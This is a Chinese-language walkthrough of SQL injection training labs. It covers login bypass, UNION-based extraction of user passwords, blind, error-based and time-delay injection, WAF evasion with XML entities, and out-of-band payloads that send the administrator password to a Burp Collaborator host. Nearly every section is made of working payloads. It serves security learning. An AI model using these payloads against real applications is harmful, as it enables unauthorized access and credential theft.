目录
一、SQL意义
1、目的:
2、示例:
二、检索隐藏数据
实验1:隐藏商品
三、颠覆应用程序逻辑
实验2:登陆逻辑
四、从其他数据库表中检索数据
实验3:判断列
实验4:判断字段对应位置
实验5:其他表检索数据
实验6:单个列中检索多个字段
实验7:Orange数据库版本
实验8:Mysql数据库版本
实验9:Orange数据库检索1
实验10:Orange数据库检索2
五、SQL盲注
实验11:带条件响应的SQL注入
实验12:条件判断SQL注入
实验13:时延盲注
实验14:时延SQL注入
实验15:带外技术
实验16:带外SQL注入
六、其他类型SQL注入
一、SQL意义
1、目的:
未经授权访问敏感数据
2、示例:
1、检索隐藏数据,在其中修改 SQL 查询以返回其他结果。
2、颠覆应用程序逻辑,在其中更改查询以干扰应用程序的逻辑。
3、UNION 攻击,在其中从不同的数据库表中检索数据。
4、检查数据库,在其中提取有关数据库版本和结构的信息。
5、盲 SQL 注入,控制的查询结果不会在应用程序的响应中返回。
二、检索隐藏数据
心得:隐藏参数的注释(或者爆破分类,从而得到隐藏分类)
示例: 一个显示不同类别产品的购物应用程序。当用户单击“礼品”类别时,其浏览器会请求 URL: https://insecure-website.com/products?category=Gifts SQL查询,以从数据库中检索相关产品的详细信息: SELECT * FROM products WHERE category = 'Gifts' AND released = 1 此 SQL 查询要求数据库返回: 所有详细信息 (*) 从产品表 其中类别为礼品 并释放是 1 该限制用于隐藏未发布的产品。对于未发布的产品,大概为released = 1 released = 0
注入: 构建如下攻击('--) https://insecure-website.com/products?category=Gifts'-- 将导致 SQL 查询: SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1 后面查询的其余部分将被删除(--AND released = 1),意味着将显示所有产品,包括未发布的产品 攻击者可以使应用程序显示任何类别中的所有产品,包括他们不知道的类别: https://insecure-website.com/products?category=Gifts'+OR+1=1-- 将导致 SQL 查询: SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1 将返回类别为“礼物”或 1 = 1 的所有(始终为 true)
实验1:隐藏商品
part1:
点击分类为礼物(未做任何修改)
part2:
把分类后面的内容注释调了,出现了新产品
part3:
随便点击一个分类(加上'+or+1=1--)
显示了所有商品(包括隐藏商品)
三、颠覆应用程序逻辑
心得:登陆逻辑的绕过(相当于试判断成立)
示例: 如果用户提交用户名和密码 执行SQL 查询来检查凭据:(wiener bluecheese) SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese' 如果查询返回用户的详细信息,则登录成功。否则,将被拒绝
注入: 使用 SQL 注释序列从查询子句中删除密码检查,即可在没有密码的情况下以任何用户身份登录 如提交用户名+空白密码(--WHEREadministrator'--) SELECT * FROM users WHERE username = 'administrator'--' AND password = '' 此查询返回用户名为administrator的用户,并成功将攻击者登录到该用户。
实验2:登陆逻辑
part1:
点击后进行登陆(需要输入密码,才能提交)
part2:
POST数据包中有csrf、username、password三个参数
在username后加上'--注释掉后面的内容
(前提不是预编译那种,且没过滤,害)
四、从其他数据库表中检索数据
心得:union联合查询(类似的还有堆叠注入,order by分类)
示例: 如果 SQL 查询的结果在应用程序的响应中返回,攻击者可以利用 SQL 注入漏洞从数据库中的其他表中检索数据。这是使用关键字完成的,该关键字允许您执行其他查询并将结果追加到原始查询。UNIONSELECT 例如,如果应用程序执行以下包含用户输入“礼物”的查询: SELECT name, description FROM products WHERE category = 'Gifts'
注入: 攻击者可以提交输入: ' UNION SELECT username, password FROM users--
实验3:判断列
part1:
点击一个分类 然后判断列数 'order by 3 -- 正常回显
'order by 4 -- 报错
part2:
本题是要使用union select
'union+select+null,null,null--
实验4:判断字段对应位置
part1:
'union+select+'NeXKXZ',null,null--
使用题目给的字符串,3个位置依次换,直到对上指定列的位置
'union+select+null,'NeXKXZ',null--
在第二个位置就正确了
实验5:其他表检索数据
part1:
先判段为2列,再根据题目信息,username,password
'union+select+username,password from users--
part2:
使用账号登陆
administrator of0vwdslqljccpzv3eik
实验6:单个列中检索多个字段
判断是2列后
发现不是2列都是字符型
'union+select+'a','a'--
第二列才是返回的字符型
第一列是数值型
'union+select+null,'a'--
'union+select+'a',null--
扩展(不同数据库字符串的连接方法): Oracle: 'foo'||'bar' SQL Server: 'foo'+'bar' Mysql: 'foo' 'bar'(空格) CONCAT('foo','bar') PostgreSQL: 'foo'||'bar'
part2:
将username,password合并到了一列带出
'union+select+null,username||'~'||password+from+users----
part3:
登陆
实验7:Orange数据库版本
part1:
提示了为Oracle数据库(查询需要带上表,dual表,此表是Oracle数据库中的一个自带表)
order+by判断为2列,且2列都字符串型
'union+select+'a','b'+from+dual--
扩展(各数据库查询版本语句): Mysql SELECT version() Sql Server SELECT @@version Oracle SELECT * FROM v$version Postgre SELECT version()
part2:
banner提示:
'union+select+banner,null+from+v$version--
实验8:Mysql数据库版本
part1:
'order by 2-- a 'union+select+null,'a'-- a
(此处-- a是为了使空格不被插件忽略,使得注释成功)
————
part2:
'union+select+null,version()-- a
实验9:Orange数据库检索1
part1:
2列,且都是字符型
'order by 2-- '+UNION+SELECT+'a','b'--
part2:
查所有表(自带的information_schema)
'+UNION+SELECT+table_name,NULL+FROM+information_schema.tables--
查用户相关的表中的所有字段
'+UNION+SELECT+column_name,NULL+FROM+information_schema.columns+WHERE+table_name='users_ybbtel'--
查字段所对应的数据
'+UNION+SELECT+username_icxunp,password_gqvjoo+FROM+users_ybbtel--
part3:
登陆
实验10:Orange数据库检索2
part1:
2列,且都是字符型
'order by 2-- 'UNION+SELECT+'a','b'+FROM+dual--
part2:
查所有表(找到用户表)
'UNION+SELECT+table_name,NULL+FROM+all_tables--
查所有字段
'UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_YSRTOP'--
爆数据
'UNION+SELECT+USERNAME_KNSBZS,PASSWORD_VROHTE+FROM+USERS_YSRTOP--
part3:
登陆
五、SQL盲注
【SQL盲注】基础函数、报错回显、延时判断、逻辑判断盲注https://blog.csdn.net/qq_53079406/article/details/123124994?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167195559916800188519290%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=167195559916800188519290&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-2-123124994-null-null.blog_rank_default&utm_term=sql%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450
【SQL注入-无回显】布尔盲注:原理、函数、利用过程https://blog.csdn.net/qq_53079406/article/details/125275974?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167195559916800188519290%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=167195559916800188519290&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-4-125275974-null-null.blog_rank_default&utm_term=sql%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450
【SQL注入-无回显】时间盲注:原理、函数、利用过程https://blog.csdn.net/qq_53079406/article/details/125096394?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167195559916800188519290%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=167195559916800188519290&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-6-125096394-null-null.blog_rank_default&utm_term=sql%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450
实验11:带条件响应的SQL注入
part1:
加上
' AND 1=1--
' AND 1=2--
少了一个欢迎回来,而且字节数也少了
说明存在注入点
part2:
判单是否存在users表
' AND (SELECT 'a' FROM users LIMIT 1)='a'-- (存在)
判断是否存在administrator用户
' AND (SELECT 'a' FROM users WHERE username='administrator')='a'-- (存在)
判断密码长度
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'-- (直接跑一下)
到数字20的时候就不成立了
说明密码有20位
爆破每一个字符的值
' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator')='§a§'--
payload1:
payload2:
结果:
按照payload1的顺序讲payload2排列起来就可以了(先将所有数据包按降序排列)
98l1jlxbm80mk8dfnpmk
part3:
登陆
实验12:条件判断SQL注入
part1:
单引号报错
2个单引号就正常了
(存在注入点,且为单引号闭合)
判断数据库类型
' || (select '') || ' (报错,不是MySQL)
'||(SELECT '' FROM dual)||' (未报错,可能是Oracle数据库)
(再次证明其他无关性,换一个不存在的表报错)
part2:
'||(SELECT '' FROM users WHERE ROWNUM = 1)||' (rownum=1 防止查询的时候返回多行)
再用类似上一个实验一样的方法,猜表、用户名,爆破密码
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' (when的条件成立时,会执行then后的内容,即执行成功1/0报错,若不成立,则返回else后的内容)
判断是否存在administrator用户
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' (用户不存在、1=1不成立有一个为fause时候返回200状态码,否则为ture,执行执行成功1/0报错)
判断密码位数
'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
到20的时候就返回200状态码了,说明密码长度为20位
爆破密码
'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
payload1:
payload2:
结果:
按照payload1的顺序讲payload2排列起来就可以了(先将所有数据包按降序排列)
e8q11s15y9pc8z5b2n78
part3:
登陆
实验13:时延盲注
'||sleep(10)--
(几乎没什么时延,不是MySQL数据库)
'||pg_sleep(10)--
(时延10s)
实验14:时延SQL注入
part1:
验证时延语句
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- (延迟10s)
'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- (几乎无延迟)
判断用户administrator是否存在
'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- (延迟10s,说明为ture,即存在)
判断密码长度
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
结果肯定是20位
爆破密码
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
结果:
勾选上时间
(我偷偷把延迟时间改为了2s,没想到居然误差有点小大,从大抓准没错)
nnn11iyvkal1dvdwosmr(错了,还是不能缩太短,害)
重新设6s
ndkt1iyvkal1svdw0omr(ok了)
part3:
登陆
实验15:带外技术
part1:
复制后,修改http://后面
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//iykblv2ne2x9e8fpic4ap9qwinodc2.burpcollaborator.net">+%25remote%3b]>'),'/l')+FROM+dual--
part2:
实验16:带外SQL注入
part1:
(将划线部分替换为自己的,注入语句夹在了http头和URL之间)
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.1km5gjbs8t098rhznbrdxtuo5fb5zu.burpcollaborator.net">+%25remote%3b]>'),'/l')+FROM+dual--
part2:
前面这个就是带出的密码
part3:
登陆
六、其他类型SQL注入
心得:各种类型与数据库有关的数据交互
示例: 可以使用应用程序作为 SQL 查询处理的任何可控输入来执行 SQL 注入攻击 如一些网站采用 JSON 或 XML 格式的输入,并使用它来查询数据库。 这些不同的格式甚至可能为您提供其他方法来混淆由于 WAF 和其他防御机制而被阻止的攻击。弱实现通常只是在请求中查找常见的 SQL 注入关键字,因此您可以通过简单地编码或转义禁止关键字中的字符来绕过这些过滤器。 如以下基于 XML 的 SQL 注入使用 XML 转义序列对 中的S字符进行编码 <stockCheck> <productId> 123 </productId> <storeId> 999 SELECT * FROM information_schema.tables </storeId> </stockCheck> 将在传递给 SQL 解释器之前在服务器端解码
漏洞识别: 1、请注意,库存检查功能以 XML 格式将 productId和 storeId发送到应用程序。 2、将POST /product/stock请求发送到bp中继器。 3、在 Burp 中继器中,探测storeId 以查看是否评估了您的输入。例如,尝试将 ID 替换为计算结果为其他潜在 ID 的数学表达式,例如: <storeId>1+1</storeId> 4、观察您的输入似乎由应用程序评估,返回不同商店的库存。 5、尝试通过将语句追加到原始存储 ID 来确定原始查询返回的列数:UNION SELECT <storeId>1 UNION SELECT NULL</storeId> 6、请注意,请求由于被标记为潜在攻击而被阻止。 绕过 WAF: 1、在注入 XML 时,请尝试使用 XML 实体对有效负载进行模糊处理。一种方法是使用 Hackvertor 扩展。只需突出显示您的输入,右键单击,然后选择 Hackvertor >扩展>编码 > dec_entities/hex_entities。 2、重新发送请求,并注意您现在收到来自应用程序的正常响应。这表明您已成功绕过 WAF。 漏洞利用: 1、从上次中断的地方继续,并推断查询返回单个列。当您尝试返回多列时,应用程序将返回0 units ,这意味着错误。 2、由于只能返回一列,因此需要连接返回的用户名和密码,例如: <storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities></storeId> 3、发送此查询并观察是否已成功从数据库中获取用户名和密码(用字符分隔)。~ 4、使用管理员的凭据登录并解决实验室问题